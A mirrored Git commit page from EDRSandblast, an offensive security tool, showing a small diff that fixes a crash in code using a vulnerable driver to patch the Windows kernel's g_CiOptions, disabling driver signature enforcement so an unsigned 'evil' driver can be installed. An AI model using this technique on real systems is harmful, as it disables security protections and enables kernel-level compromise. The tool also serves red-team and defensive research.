Mirrors/wavestone-cdt-edrsandblast
1
0
Fork 0
mirror of https://github.com/wavestone-cdt/EDRSandblast.git synced 2026-06-11 01:41:20 +00:00
Code Issues Packages Projects Releases Wiki Activity

g_CiOptions patching: fixed a crash

Browse Source
This commit is contained in:
Maxime Meignan
2023-10-09 14:59:10 +02:00
parent 0b0086ea92
commit 0a817fea93
1 changed files with 2 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
EDRSandblast_CLI/EDRSandblast.c
+2 -3
View File
@@ -742,7 +742,7 @@ Other options:\n\
} }
_putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print _putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print
ULONG CiOptionsValue = 0; ULONG CiOptionsValue = 0;
PULONG OldCiOptionsValue; ULONG OldCiOptionsValue;
patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue); patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
LPTSTR evilServiceNameIfAny = NULL; LPTSTR evilServiceNameIfAny = NULL;
BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny); BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
@@ -757,7 +757,7 @@ Other options:\n\
_putts_or_not(TEXT("[!] An error occurred while installing the evil driver")); _putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
} }
_putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print _putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print
patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue); patch_gCiOptions(g_CiOptionsAddress, OldCiOptionsValue, &OldCiOptionsValue);
} }
} }
else { else {
@@ -766,7 +766,6 @@ Other options:\n\
} }
} }
} }
// END WIP
break; break;
} }
} }